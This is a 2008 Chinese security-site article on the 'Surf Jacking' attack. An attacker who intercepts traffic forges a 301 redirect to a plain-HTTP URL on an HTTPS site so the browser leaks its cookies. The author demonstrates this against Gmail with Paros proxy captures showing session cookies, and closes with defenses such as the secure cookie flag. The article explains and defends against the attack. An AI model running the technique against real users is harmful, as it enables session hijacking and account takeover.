首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
又一个猥琐的技巧:Surf Jacking
来源:http://hi.baidu.com/aullik5/ 作者:刺 发布时间:2008-08-13  
这个技巧是今天EnableSecurity发出来的。

前提条件是能够截获流量。具体来说,就是能监听上行流量,可以修改下行流量。方法可以通过arp欺骗、DNS欺骗、无线监听等实现。

有的人可能会说,都能截获流量了,还有什么不能做的。

确实,能够监听和篡改流量了,就可以做很多事情,比如修改软件自动升级的2进制包,可以arp挂马,可以插入跨站脚本,可以做SSL中间人攻击。

但是我们这里讨论的是威胁。直接挂马或者篡改升级软件,可能会受到种种环境的限制,也有一定的成功率。而SSL中间人攻击,则会跳出一个证书已改变的提示。

除开上面说的这些更火辣的手段,想要从https包里抠点东西出来,是非常困难的,所以目前很多网站比如网银等都普遍采用https加密网络传输过程,以避免敏感信息被监听。

这种
Surf Jacking 攻击,实际上就是在针对某些使用了https的站点时候,由于加密,所以直接监听无法获取cookie,而使用surf jacking强制用户去访问某个攻击者希望用户访问的非https页面,然后在这个过程中窃取用户的明文cookie。

从网络攻击上来说,是具有一定积极意义的,所以作者paper的题目叫做: "HTTPS will not save you"

攻击原理是利用了HTTP协议里的一些跳转,比如:HTTP返回号为 301、302、303、307等,如果附带一个Location 字段,就会然让浏览器跳转到那个地址。这个过程也可以利用一些JS来跳转实现。



那么这个攻击过程就很清楚了
1. 浏览器访问某网站A
2. 攻击者篡改HTTP response包为301号返回,然后location指向某个https站点B的一个非https页面
3. 浏览器收到301号跳转,开始访问B的非https页面
4. 攻击者截获浏览器访问B的cookie



以gmail举例,我用Paros手动实现了这一过程
当选择gmail可以使用非https连接时:

GET http://www.sohu.com/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Host: www.sohu.com
Proxy-Connection: Keep-Alive
Cookie: YYID=2DC607514FBD27AEF10C6AE4E5B0220A; SUV=0806181151361975


HTTP/1.1 301 Moved Permanently
Location: http://mail.google.com/mail/?ui=1
Cache-Control: private
Content-Length: 0



接下来浏览器自动跳转去访问SOHU

GET http://mail.google.com/mail/?ui=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Cookie: GX=DQAAAH4AAABKxMCllKJ33pvig35klAbsrxxxxVf1bmZXEb-orDnAtd5Fxh8cM-rjchZQr7MTfaMROOMSdjp55NulIYiR64J_Fl4Ker3VHxxxFZHySwgmqUexxxsi82j3WwE1yixrkKgm_gSEWEgVY8U61CDUl5xxxxT1fMN4g6QIfTs-_PN1ow; PREF=ID=d69d5f428c1xcaa1:TM=1216179046:LM=1218520262:GM=1:S=leRExWWER-JNb9li; rememberme=true; SID=DQAAAHsAAAC5jzTYYblOMBmxxxyawMlMqn5f8j_rAepYYhs29woApxxxxxmRb5U1sFrV8An3DOBuBz8MkmLAyufJBuPJhMFreWbd-gJtHwqUnoFFhOoZW783kTxzZT-brQMRqEiLGuFZJRIYDMsIyXT5-efmIxxxxx8lGZzIlU7SbzpzrWLaa_Q
Proxy-Connection: Keep-Alive
Host: mail.google.com


HTTP/1.1 200 OK
Set-Cookie: S=gmail=3cTytL0AlPxzgpe-kyrTXg:gmail_yj=FXSizI3oTL-n1ENxiysVIA:gmproxy=8ioHBdizXTU:gmproxy_yj=EECeLN9Oqfg:gmproxy_yj_sub=vXLDg3tzUm8; Path=/mail
Set-Cookie: GMAIL_AT=xn3j2u5xew8txxxxxxxxuj8i5k4zbq; Path=/mail
Set-Cookie: GMAIL_HELP=hosted:0;Path=/
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Date: Tue, 12 Aug 2008 07:51:01 GMT
Server: GFE/1.3


一切都是通过HTTP协议,是明文可见的。



我在测试过程中,发现在选择“在本台计算机上保存帐户”时候,才能完成这样的攻击,否则新开浏览器窗口,就算重定向到gmail,也会跳转到google登录入口去。想来也是由于session cookie和stored cookie的问题。


这种攻击也是具有
局限性的。因为他要求能够在目标网站的域下存在一个能够用http访问的页面,可以是图片或者是css之类,如下:

主站可能是 https://www.fvck.com/index.htm
              https://www.fvck.com/fvck.php?id=fvckbaidu

https加密的部分是没有问题的,但是如果该域下存在一个非https的东东,就会让整个域处于风险中

比如存在一个图片可以直接访问
              http://www.fvck.com/fvck.jpg

那么利用Surf Jacking强制用户直接去访问

关于"Surf Jacking"的修正分析和一些细节问题

今天晚些时候看到木瓜在blog中指出我前篇文章里提到的局限性不存在的问题,我又重新做了几次测试,发现确实是这么回事,但是这里还有些细微的地方需要明晰一下。

首先,因为cookie是只针对域的,和是否是http还是https无关(除了cookie标记为 secure flag),所以即便是目标网站全站都使用了https,我们也可以通过伪造http请求来欺骗浏览器,让浏览器发送cookie。

先勾上gmail里只允许https访问的选项:



如下:

正常的surf jacking:

GET http://www.baidu.com/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Host: www.baidu.com
Proxy-Connection: Keep-Alive
Cookie: BAIDUID=664BDBF912A0BD8529B578F1D2D89628:FG=1; BDSTAT=d7b696a29856a99b8018cd481c49ff83b059362bca5c10384743fbf2b0117772; BD_UTK_DVT=1; BDTIP=1215783899; BDUSS=ZtcjdSeWNKQn5xNGpz......


HTTP/1.1 301 Moved Permanently
Location: http://mail.google.com/mail/?ui=1
Cache-Control: private
Content-Length: 0


GET http://mail.google.com/mail/?ui=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Cookie: GXSP=S; S=gmail=RDS-f2sELkDIQBXTwhRP8g:gmail_yj=Qq5TkzIBOhEO4zmXoyhx1A:gmproxy=UW9D_swGb_s:gmproxy_yj=f8GBnMVjCTM:gmproxy_yj_sub=y45fb75LRSw; TZ=-480; SID=DQAAAHoAAADkfcVmPLBi6tXXC0LiAR2M3Js6NAxIB3dc1fHXTYzibMTdCGPevS3YCX24mVl03pf_mnBLcoKYG9yNuizcwgDAE4Xl7qGzk8MH5CUHhzdnvarGZtzXTAn_cHbzzPI2jyCVhReiuYyfgiQCa2g3kAoyXboO9_9QdxRsL3ymexB7uA; GMAIL_HELP=hosted:0
Proxy-Connection: Keep-Alive
Host: mail.google.com

这个时候cookie是发送出来的


而若访问某个不存在的页面

GET http://www.baidu.com/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Host: www.baidu.com
Proxy-Connection: Keep-Alive
Cookie: BAIDUID=664BDBF912A0BD8529B578F1D2D89628:FG=1; BDSTAT=d7b696a29856a99b8018cd481c49ff83b059362bca5c10384743fbf2b0117772; BD_UTK_DVT=1; BDTIP=1215783899; BDUSS=ZtcjdSeWNKQn5xNGpzNGNhYVJ5WUtlOXRoS2JINVN2d......


HTTP/1.1 301 Moved Permanently
Location: http://mail.google.com/fvck
Cache-Control: private
Content-Length: 0


GET http://mail.google.com/fvck HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Cookie: TZ=-480; SID=DQAAAHoAAADkfcVmPLBi6tXXC0LiAR2M3Js6NAxIB3dc1fHXTYzibMTdCGPevS3YCX24mVl03pf_mnBLcoKYG9yNuizcwgDAE4Xl7qGzk8MH5CUHhzdnvarGZtzXTAn_cHbzzPI2jyCVhReiuYyfgiQCa2g3kAoyXboO9_9QdxRsL3ymexB7uA; PREF=ID=d73fbea1cce4392a:NW=1:TM=1218557317:LM=1218557317:GM=1:S=UoyYLQEOE9o_Juix; GMAIL_HELP=hosted:0
Proxy-Connection: Keep-Alive
Host: mail.google.com


HTTP/1.1 404 Not Found
Date: Tue, 12 Aug 2008 16:12:51 GMT
Content-Type: text/html; charset=UTF-8
Server: gws
Content-Length: 1352


可以看到cookie也发送出来了。

所以我前文提到的局限性中的"需要目标网站里存在一个非HTTP页面"的条件是不存在的。



实际上这里不是我今天要讲的重点,重点是关于session cookiepersistent cookie的问题

如果在登录GMAIL的时候选择“在本计算机上保存帐户



则会选择使用本地存储cookie(stored cookie 或叫做 persistent cookie)。

如果不选择,则使用的是session cookie,里面包含了session id. 如果浏览器进程结束了,那么session cookie就销毁了。

在我的IE 6中测试,如果使用本地存储cookie,那么在使用surf jacking技术时,新开浏览器窗口的后是能捕获到cookie的。如我上篇文章里的例子。


但是如果是使用的session cookie,则在新开IE6浏览器窗口里是抓不到cookie的,因为IE6新开窗口是启动了一个新的IE进程,而这个新的IE进程是无法获取之前IE进程里的http session的。

如下:
GET http://www.sohu.com/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Host: www.sohu.com
Proxy-Connection: Keep-Alive
Cookie: SOHUHOMETAB=visit:3; TurnAD9=visit:2; TurnAD351=visit:1; TurnAD119=visit:2; TurnAD118=visit:2; TurnAD10=visit:1; TurnAD120=visit:1; TurnAD11=visit:1; TurnAD349=visit:2; TurnAD350=visit:2; TurnAD352=visit:1; FULL=w:1; LIUMEITI101=w:1; LIUMEITI102=w:1; BOOKTURN=w:1; _BOO......


HTTP/1.1 301 Moved Permanently
Location: http://mail.google.com/mail/?ui=1
Cache-Control: private
Content-Length: 0


GET http://mail.google.com/mail/?ui=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Host: mail.google.com
Proxy-Connection: Keep-Alive


没有cookie发送出去。

然后会跳到google登录页面

可见在IE6环境下,如果target使用的是session cookie,那么要攻击成功,就需要被攻击者使用同一个IE进程去访问新的网站。


比如用户先登录了GMAIL,然后在这个窗口里去访问www.baidu.com,结果response页面被surf jacking。 这个时候由于该浏览器进程里的session cookie还没有销毁,所以可以重新获取到,而发送新的request到gmail的时候,就会带上这个session cookie了(该过程已验证)。


对于IE7 的环境,如果我没有记错的话,整个IE7只有一个浏览器进程,新开tab页还是属于这个进程的,所以从enablesecurity的视频演示来看,应该是能获取到前一个tab页的这个session cookie的。不过我没有安装IE7,所以没有进一步验证了。


对于IE8 ,及其beta2,好像对tab这部分有些改动,比如增加了tab process,有了virtual tab的机制,具体影响如何还要等正式出来以后再测试测试。


Surf Jacking
的意义在于可以突破https,获取https里保护的一些敏感数据

而对抗方法最有意义的应该是在http包中只发送部分cookie,而关键cookie则只能在https包里出现。gmail正是这样做的。

http://www.fvck.com/fvck.jpg
就能获得该域的cookie了。


根据enblesecurity给出的防范建议是,全站都使用https加密,以及在cookie中增加secure标识。在cookie中增加secure标识后,会强制该cookie只能在https下发送,就可避免敏感cookie泄露的问题了。


相关的链接:

Tool: http://surfjack.googlecode.com/
Short paper: http://resources.enablesecurity.com/resources/Surf%20Jacking.pdf
Screencast: http://www.vimeo.com/1507697

[1] https://www.defcon.org/html/defcon-16/dc-16-speakers.html#Perry



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·饶过Xplog70.dll玩入侵
·hzhost虚拟主机系统致命漏洞
·拿下DVBBS php官网
·dfcms后台拿webshell,只谈思路
·教你两句话 动网8.20的后台被拿
·从CSDN 漏洞谈.NET 安全开发
·渗透某知名游戏代理商内网全程
·提權整理貼
·经过中国黑客鉴定,中国乳业网站
·跨站脚本漏洞导致的浏览器劫持攻
·OmniPeek抓包的一点看法
·破解无线过滤MAC
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved